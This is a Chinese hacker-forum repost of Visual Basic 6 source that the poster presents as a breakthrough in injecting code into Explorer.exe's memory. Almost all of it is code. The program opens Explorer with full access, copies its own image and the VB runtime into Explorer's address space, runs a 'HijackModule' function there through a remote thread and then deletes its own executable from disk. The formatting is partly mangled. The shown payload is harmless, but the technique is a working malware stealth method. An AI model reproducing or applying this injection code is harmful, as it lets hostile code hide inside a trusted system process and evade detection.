文章作者:零号(暗夜盛装)
信息来源:黑客动画吧

QUOTE:
这是注入EXPLORER.EXE线程内存保留地址的核心代码.终于突破了`
555555

Option   Explicit
Public   Declare   Function  OpenProcess  Lib   " kernel32 "  ( ByVal  dwDesiredAccess  As   Long ByVal  bInheritHandle  As   Long ByVal  dwProcessId  As   Long As   Long
Public   Declare   Function  VirtualAllocEx  Lib   " kernel32 "  ( ByVal  ProcessHandle  As   Long ByVal  lpAddress  As   Long ByVal  dwSize  As   Long ByVal  flAllocationType  As   Long ByVal  flProtect  As   Long As   Long
Public   Declare   Function  VirtualFreeEx  Lib   " kernel32 "  ( ByVal  ProcessHandle  As   Long , lpAddress  As  Any,  ByVal  dwSize  As   Long ByVal  dwFreeType  As   Long As   Long
Public   Declare   Function  GetWindowThreadProcessId  Lib   " user32 "  ( ByVal  hwnd  As   Long , lpdwProcessId  As   Long As   Long
Public   Declare   Function  GetProcAddress  Lib   " kernel32 "  ( ByVal  hModule  As   Long ByVal  lpProcName  As   String As   Long
Public   Declare   Function  FindWindow  Lib   " user32 "   Alias   " FindWindowA "  ( ByVal  lpClassName  As  Any,  ByVal  lpWindowName  As  Any)  As   Long
Public   Declare   Function  CreateRemoteThread  Lib   " kernel32 "  ( ByVal  ProcessHandle  As   Long , lpThreadAttributes  As   Long ByVal  dwStackSize  As   Long , lpStartAddress  As   Long , lpParameter  As  Any,  ByVal  dwCreationFlags  As   Long , lpthreadid  As   Long As   Long
Public   Declare   Function  CreateThread  Lib   " kernel32 "  ( ByVal  lpThreadAttributes  As  Any,  ByVal  dwStackSize  As   Long ByVal  lpStartAddress  As   Long , lpParameter  As  Any,  ByVal  dwCreationFlags  As   Long , lpthreadid  As   Long As   Long
Public   Declare   Function  GetModuleHandleA  Lib   " kernel32 "  ( ByVal  ModName  As  Any)  As   Long
Public   Declare   Function  WriteProcessMemory  Lib   " kernel32 "  ( ByVal  ProcessHandle  As   Long , lpBaseAddress  As  Any, lpBuffer  As  Any,  ByVal  nSize  As   Long , lpNumberOfBytesWritten  As   Long As   Long
Public   Declare   Function  ReadProcessMemory  Lib   " kernel32 "  ( ByVal  hProcess  As   Long , lpBaseAddress  As  Any, lpBuffer  As  Any,  ByVal  nSize  As   Long , lpNumberOfBytesWritten  As   Long As   Long
Public   Declare   Function  LoadLibrary  Lib   " kernel32 "   Alias   " LoadLibraryA "  ( ByVal  lpLibFileName  As   String As   Long
Public   Declare   Function  CallWindowProc  Lib   " user32 "   Alias   " CallWindowProcA "  ( ByVal  lpPrevWndFunc  As   Long ByVal  hwnd  As   Long ByVal  Msg  As  Any,  ByVal  wParam  As  Any,  ByVal  lParam  As  Any)  As   Long
Public   Declare   Function  MessageBox  Lib   " user32 "   Alias   " MessageBoxA "  ( ByVal  hwnd  As   Long ByVal  lpText  As   String ByVal  lpCaption  As   String ByVal  wType  As   Long As   Long
Public   Declare   Function  DeleteFile  Lib   " kernel32 "   Alias   " DeleteFileA "  ( ByVal  lpFileName  As   String As   Long
Public   Declare   Function  CreateEvent  Lib   " kernel32 "   Alias   " CreateEventA "  ( ByVal  lpEventAttributes  As   Long ByVal  bManualReset  As   Long ByVal  bInitialState  As   Long ByVal  lpname  As   String As   Long
Public   Declare   Function  GetModuleFileName  Lib   " kernel32 "   Alias   " GetModuleFileNameA "  ( ByVal  hModule  As   Integer ByVal  lpFileName  As   String ByVal  nSize  As   Integer As   Integer
Public   Declare   Function  GetCurrentProcessId  Lib   " kernel32 "  ()  As   Long
Public   Declare   Function  GetMessage  Lib   " user32 "   Alias   " GetMessageA "  (lpMsg  As  Msg,  ByVal  hwnd  As   Long ByVal  wMsgFilterMin  As   Long ByVal  wMsgFilterMax  As   Long As   Long
Public   Declare   Function  TranslateMessage  Lib   " user32 "  (lpMsg  As  Msg)  As   Long
Public   Declare   Function  DispatchMessage  Lib   " user32 "   Alias   " DispatchMessageA "  (lpMsg  As  Msg)  As   Long
Public   Declare   Function  ShowWindow  Lib   " user32 "  ( ByVal  hwnd  As   Long ByVal  nCmdShow  As   Long As   Long
Public   Declare   Function  LoadCursor  Lib   " user32 "   Alias   " LoadCursorA "  ( ByVal  hInstance  As   Long ByVal  lpCursorName  As  Any)  As   Long
Public   Declare   Function  LoadIcon  Lib   " user32 "   Alias   " LoadIconA "  ( ByVal  hInstance  As   Long ByVal  lpIconName  As   String As   Long
Public   Declare   Function  CreateFontIndirect  Lib   " gdi32 "   Alias   " CreateFontIndirectA "  (lpLogFont  As  LOGFONT)  As   Long
Public   Declare   Function  DestroyWindow  Lib   " user32 "  ( ByVal  hwnd  As   Long As   Long
Public   Declare   Function  SendMessage  Lib   " user32 "   Alias   " SendMessageA "  ( ByVal  hwnd  As   Long ByVal  wMsg  As   Long ByVal  wParam  As   Long , lParam  As  Any)  As   Long
Public   Declare   Function  CreateWindowEx  Lib   " user32 "   Alias   " CreateWindowExA "  ( ByVal  dwExStyle  As   Long ByVal  lpClassName  As   String ByVal  lpWindowName  As   String ByVal  dwStyle  As   Long ByVal  x  As   Long ByVal  y  As   Long ByVal  nWidth  As   Long ByVal  nHeight  As   Long ByVal  hWndParent  As   Long ByVal  hMenu  As   Long ByVal  hInstance  As   Long , lpParam  As  Any)  As   Long
Public   Declare   Function  SetWindowText  Lib   " user32 "   Alias   " SetWindowTextA "  ( ByVal  hwnd  As   Long ByVal  lpString  As   String As   Long
Public   Declare   Function  SetWindowLong  Lib   " user32 "   Alias   " SetWindowLongA "  ( ByVal  hwnd  As   Long ByVal  nIndex  As   Long ByVal  dwNewLong  As   Long As   Long
Public   Declare   Function  RegisterClass  Lib   " user32 "   Alias   " RegisterClassA "  ( Class   As  WNDCLASS)  As   Long
Public   Declare   Function  UnregisterClass  Lib   " user32 "   Alias   " UnregisterClassA "  ( ByVal  lpClassName  As   String ByVal  hInstance  As   Long As   Long
Public   Declare   Function  DefWindowProc  Lib   " user32 "   Alias   " DefWindowProcA "  ( ByVal  hwnd  As   Long ByVal  wMsg  As   Long ByVal  wParam  As   Long ByVal  lParam  As   Long As   Long
Public   Declare   Function  CreateFile  Lib   " kernel32 "   Alias   " CreateFileA "  ( ByVal  lpFileName  As   String ByVal  dwDesiredAccess  As   Long ByVal  dwShareMode  As   Long ByVal  lpSecurityAttributes  As   Long ByVal  dwCreationDisposition  As   Long ByVal  dwFlagsAndAttributes  As   Long ByVal  hTemplateFile  As   Long As   Long
Public   Declare   Function  ReadFile  Lib   " kernel32 "  ( ByVal  hFile  As   Long , lpBuffer  As  Any,  ByVal  nNumberOfBytesToRead  As   Long , lpNumberOfBytesRead  As   Long ByVal  lpOverlapped  As   Long As   Long
Public   Declare   Function  CloseHandle  Lib   " kernel32 "  ( ByVal  hObject  As   Long As   Long
Public   Declare   Function  WriteFile  Lib   " kernel32 "  ( ByVal  hFile  As   Long , lpBuffer  As  Any,  ByVal  nNumberOfBytesToWrite  As   Long , lpNumberOfBytesWritten  As   Long ByVal  lpOverlapped  As   Long As   Long
Public   Declare   Function  GetFileSize  Lib   " kernel32 "  ( ByVal  hFile  As   Long , lpFileSizeHigh  As   Long As   Long
Public   Declare   Function  GetLastError  Lib   " kernel32 "  ()  As   Long
Public   Declare   Sub  Sleep  Lib   " kernel32 "  ( ByVal  time  As   Long )
Public   Declare   Sub  PostQuitMessage  Lib   " user32 "  ( ByVal  nExitCode  As   Long )
Public   Declare   Sub  ExitThread  Lib   " kernel32 "  ( ByVal  dwExitCode  As   Long )
Public   Declare   Sub  ExitProcess  Lib   " kernel32 "  ( ByVal  dwExitCode  As   Long )
Public   Declare   Sub  CopyMemory  Lib   " kernel32 "   Alias   " RtlMoveMemory "  (Destination  As  Any, Source  As  Any,  ByVal  Length  As   Long )

Public  Type POINTAPI
As   Long
As   Long
End  Type
Public  Type Msg
hwnd 
As   Long
message 
As   Long
wParam 
As   Long
lParam 
As   Long
time 
As   Long
pt 
As  POINTAPI
End  Type
Public  Type WNDCLASS
style 
As   Long
lpfnwndproc 
As   Long
cbClsextra 
As   Long
cbWndExtra2 
As   Long
hInstance 
As   Long
hIcon 
As   Long
hCursor 
As   Long
hbrBackground 
As   Long
lpszMenuName 
As   String
lpszClassName 
As   String
End  Type
Public  Type LOGFONT
lfHeight 
As   Long
lfWidth 
As   Long
lfEscapement 
As   Long
lfOrientation 
As   Long
lfWeight 
As   Long
lfItalic 
As   Byte
lfUnderline 
As   Byte
lfStrikeOut 
As   Byte
lfCharSet 
As   Byte
lfOutPrecision 
As   Byte
lfClipPrecision 
As   Byte
lfQuality 
As   Byte
lfPitchAndFamily 
As   Byte
lfFaceName(
32 As   Byte
End  Type

Public   Const  GWL_WNDPROC  =  ( - 4 )
Public   Const  WS_VISIBLE  =   & H10000000
Public   Const  WS_CHILD  =   & H40000000
Public   Const  WS_THICKFRAME  =   & H40000
Public   Const  WS_TABSTOP  =   & H10000
Public   Const  WS_BORDER  =   & H800000
Public   Const  WS_OVERLAPPED  =   & H0 &
Public   Const  WS_CAPTION  =   & HC00000
Public   Const  WS_SYSMENU  =   & H80000
Public   Const  WS_MINIMIZEBOX  =   & H20000
Public   Const  WS_MAXIMIZEBOX  =   & H10000
Public   Const  WS_OVERLAPPEDWINDOW  =  (WS_OVERLAPPED  Or  WS_CAPTION  Or  WS_SYSMENU  Or  WS_THICKFRAME  Or  WS_MINIMIZEBOX  Or  WS_MAXIMIZEBOX)
Public   Const  WS_EX_CLIENTEDGE  =   & H200 &
Public   Const  WS_EX_WINDOWEDGE  =   & H100 &
Public   Const  WS_EX_STATICEDGE  =   & H20000
Public   Const  WM_SETTEXT  =   & HC
Public   Const  WM_GETTEXTLENGTH  =   & HE
Public   Const  WM_VSCROLL  =   & H115
Public   Const  WM_KEYUP  =   & H101
Public   Const  WM_LBUTTONUP  =   & H202
Public   Const  WM_LBUTTONDOWN  =   & H201
Public   Const  WM_SHOWWINDOW  =   & H18
Public   Const  WM_DESTROY  =   & H2
Public   Const  WM_SETFONT  =   & H30
Public   Const  WM_COPY  =   & H301
Public   Const  WM_PASTE  =   & H302
Public   Const  INVALID_HANDLE_VALUE  =   - 1
Public   Const  GENERIC_WRITE  =   & H40000000
Public   Const  GENERIC_READ  =   & H80000000
Public   Const  GENERIC_ALL  =   & H10000000
Public   Const  FILE_ATTRIBUTE_NORMAL  =   & H80
Public   Const  CREATE_NEW  =   1
Public   Const  CREATE_ALWAYS  =   2
Public   Const  OPEN_EXISTING  =   3
Public   Const  OPEN_ALWAYS  =   4
Public   Const  FILE_SHARE_READ  =   & H1
Public   Const  FILE_SHARE_WRITE  =   & H2
Public   Const  TRUNCATE_EXISTING  =   5
Public   Const  COLOR_WINDOW  =   5
Public   Const  IDC_ARROW  =   32512 &
Public   Const  IDI_APPLICATION  =   32512 &
Public   Const  SW_SHOWNORMAL  =   1
Public   Const  CW_USEDEFAULT  =   & H80000000
Public   Const  gClassName  =   " CustomClName "
Public   Const  gAppName  =   " Application caption "
Public  ghWnd  As   Long

Const  MEM_COMMIT  =   & H1000
Const  MEM_RESERVE  =   & H2000
Const  MEM_RELEASE  =   & H8000
Const  PAGE_EXECUTE_READWRITE  =   & H40 &
Const  IMAGE_NUMBEROF_DIRECTIRY_ENRIES  =   16
Const  STANDARD_RIGHTS_REQUIRED  =   & HF0000
Const  SYNCHRONIZE  =   & H100000
Const  PROCESS_ALL_ACCESS  =  (STANDARD_RIGHTS_REQUIRED  Or  SYNCHRONIZE  Or   & HFFF)

Type IMAGE_DATA_DIRECTORY
VirtualAddress 
As   Long
Size 
As   Long
End  Type

Type IMAGE_FILE_HEADER
Machine 
As   Integer
NumberOfSections 
As   Integer
TimeDataStamp 
As   Long
PointerToSymbolTable 
As   Long
NumberOfSymbols 
As   Long
SizeOfOptionalHeader 
As   Integer
Characteristics 
As   Integer
End  Type

Type IMAGE_OPTIONAL_HEADER32
Magic 
As   Integer
MajorLinkerVersion 
As   Byte
MinorLinkerVersion 
As   Byte
SizeOfCode 
As   Long
SizeOfInitalizedData 
As   Long
SizeOfUninitalizedData 
As   Long
AddressOfEntryPoint 
As   Long
BaseOfCode 
As   Long
BaseOfData 
As   Long
ImageBase 
As   Long
SectionAlignment 
As   Long
FileAlignment 
As   Long
MajorOperatingSystemVersion 
As   Integer
MinorOperatingSystemVersion 
As   Integer
MajorImageVersion 
As   Integer
MinorImageVersion 
As   Integer
MajorSubsystemVersion 
As   Integer
MinorSubsystemVersion 
As   Integer
Reserved1 
As   Long
SizeOfImage 
As   Long
SizeOfHeaders 
As   Long
CheckSum 
As   Long
Subsystem 
As   Integer
DllCharacteristics 
As   Integer
SizeOfStackReserve 
As   Long
SizeOfStackCommit 
As   Long
SizeOfHeapReserve 
As   Long
SizeOfHeapCommit 
As   Long
LoaerFlags 
As   Long
NumberOfRvaAndSizes 
As   Long
DataDirectory(IMAGE_NUMBEROF_DIRECTIRY_ENRIES 
-   1 As  IMAGE_DATA_DIRECTORY
End  Type

Type test
szTarget 
As   String
End  Type

Type IMAGE_DOS_HEADER
e_magic 
As   Integer
e_cblp 
As   Integer
e_cp 
As   Integer
e_crlc 
As   Integer
e_cparhdr 
As   Integer
e_minalloc 
As   Integer
e_maxalloc 
As   Integer
e_ss 
As   Integer
e_sp 
As   Integer
e_csum 
As   Integer
e_ip 
As   Integer
e_cs 
As   Integer
e_lfarlc 
As   Integer
e_onvo 
As   Integer
e_res(
3 As   Integer
e_oemid 
As   Integer
e_oeminfo 
As   Integer
e_res2(
9 As   Integer
e_lfanew 
As   Long
End  Type
Const  szTarget  As   String   =   " ProgMan "
Global szFileName 
As   String   *   261
Public   Sub  Main()

Dim  PID  As   Long , ProcessHandle  As   Long
Dim  Size  As   Long , BytesWritten  As   Long , TID  As   Long Module   As   Long , NewModule  As   Long
Dim  PImageOptionalHeader  As  IMAGE_OPTIONAL_HEADER32, PImageDosHeader  As  IMAGE_DOS_HEADER, TImageFileHeader  As  IMAGE_FILE_HEADER
Dim  ExeVariable  As   Long

GetModuleFileName 
0 , szFileName,  261

GetWindowThreadProcessId FindWindow(szTarget, 
0 & ), PID

ProcessHandle 
=  OpenProcess(PROCESS_ALL_ACCESS,  0 , PID)

Module   =  GetModuleHandleA(vbNullString)

CopyMemory PImageDosHeader, 
ByVal   Module Len (PImageDosHeader)

CopyMemory PImageOptionalHeader, 
ByVal  ( Module   +  PImageDosHeader.e_lfanew  +   4   +   Len (TImageFileHeader)),  Len (PImageOptionalHeader)

Size 
=  PImageOptionalHeader.SizeOfImage

VirtualFreeEx ProcessHandle, 
Module 0 , MEM_RELEASE

NewModule 
=  VirtualAllocEx(ProcessHandle,  Module , Size, MEM_RESERVE  Or  MEM_COMMIT, PAGE_EXECUTE_READWRITE)

WriteProcessMemory ProcessHandle, 
ByVal  NewModule,  ByVal   Module , Size, BytesWritten

ExeVariable 
=  VirtualAllocEx(ProcessHandle,  0 261 , MEM_RESERVE  Or  MEM_COMMIT, PAGE_EXECUTE_READWRITE)
WriteProcessMemory ProcessHandle, 
ByVal  ExeVariable,  ByVal  szFileName,  261 , BytesWritten

Dim  VBMod  As   Long , VBSize  As   Long , VBNewMod  As   Long
VBMod 
=  GetModuleHandleA( " msvbvm60.dll " )
CopyMemory PImageDosHeader, 
ByVal  VBMod,  Len (PImageDosHeader)
CopyMemory PImageOptionalHeader, 
ByVal  (VBMod  +  PImageDosHeader.e_lfanew  +   4   +   Len (TImageFileHeader)),  Len (PImageOptionalHeader)
VBSize 
=  PImageOptionalHeader.SizeOfImage
VBNewMod 
=  VirtualAllocEx(ProcessHandle, VBMod, VBSize, MEM_RESERVE  Or  MEM_COMMIT, PAGE_EXECUTE_READWRITE)
WriteProcessMemory ProcessHandle, 
ByVal  VBNewMod,  ByVal  VBMod, VBSize, BytesWritten

CreateRemoteThread ProcessHandle, 
ByVal   0 0 ByVal  GetAdd( AddressOf  HijackModule),  ByVal  ExeVariable,  0 , TID
ExitProcess 
0
End Sub
Private   Function  GetAdd(Entrypoint  As   Long As   Long
GetAdd 
=  Entrypoint
End Function
Private   Function  MainModule(Stuff  As   Long As   String

Dim  BytesWritten  As   Long , wc  As  WNDCLASS, szExename  As   String   *   261
Dim  lngFileHandle  As   Long , lngLength  As   Long , Exec  As   String , lBytesRead  As   Long , szTestName  As   String

ReadProcessMemory OpenProcess(PROCESS_ALL_ACCESS, 
0 , GetCurrentProcessId),  ByVal  Stuff,  ByVal  szExename,  261 ByVal  BytesWritten

With  wc
.lpfnwndproc 
=  GetAdd( AddressOf  WndProc)
.hbrBackground 
=   5
.lpszClassName 
=   " HijackedClass "
End   With
RegisterClass wc

ShowWindow CreateWindowEx(
0 " HijackedClass " " Hijacked Form " , WS_OVERLAPPEDWINDOW,  100 100 340 240 0 0 , GetModuleHandleA( 0 & ),  ByVal   0 & ),  1

MessageBox 
0 " Hijack Module Working " " Sucess! " 0

DeleteFile szExename

Do : DoEvents: Sleep  100 Loop
End Function
Public   Function  HijackModule( ByVal  Stuff  As   Long As   Long

MainModule Stuff
End Function
Public   Function  WndProc( ByVal  hwnd  As   Long ByVal  wMsg  As   Long ByVal  wParam  As   Long ByVal  lParam  As   Long As   Long
If  wMsg  =   & H201  Then  MessageBox  0 " 提示A " " 提示B " 0
WndProc 
=  DefWindowProc(hwnd, wMsg, wParam, lParam)
End Function